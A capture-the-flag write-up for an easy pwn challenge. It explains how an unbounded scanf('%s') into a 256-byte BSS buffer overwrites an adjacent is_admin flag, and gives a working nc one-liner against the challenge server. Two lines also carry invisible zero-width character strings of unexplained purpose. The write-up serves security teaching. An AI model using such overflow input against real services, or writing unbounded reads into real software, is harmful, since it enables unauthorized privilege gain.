Admin

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-10 | Status: Solved Techniques: adjacent_variable_overwrite, bss_section_overflow, scanf_exploitation

Summary

Task: gain admin access in a binary that checks an is_admin flag. Solution: overflow a 256-byte username buffer in BSS using scanf("%s") to overwrite the adjacent is_admin byte with a non-zero value.

Admin — SPB CTF Pwn Season

Description

"Надо сделать переполнение переменной username в bss секции и стать админом." (Overflow username in BSS to become admin)

Server: nc 109.233.56.90 11575 Binary: task — ELF 64-bit x86-64, not stripped

Analysis

Classic BSS section overflow. BSS layout analysis:

• username buffer: offset 0x40a0 (256 bytes)
• is_admin flag: offset 0x41a0 (1 byte)
• Distance: 256 bytes

The program uses scanf("%s", username) which reads without bounds checking. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

By providing 257 characters, the 257th character overwrites is_admin with a non-zero value, making the admin check pass.

 bash read-only • copy allowed Copy
python3 -c "print('A'*256 + 'X')" | nc 109.233.56.90 11575

Breakdown:

• 'A'*256 — fills the entire username buffer
• 'X' — overwrites is_admin with 0x58 (non-zero = admin)

BSS layout:

0x40a0: username[256]  <- user input
0x41a0: is_admin       <- overwrite with any non-zero byte

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍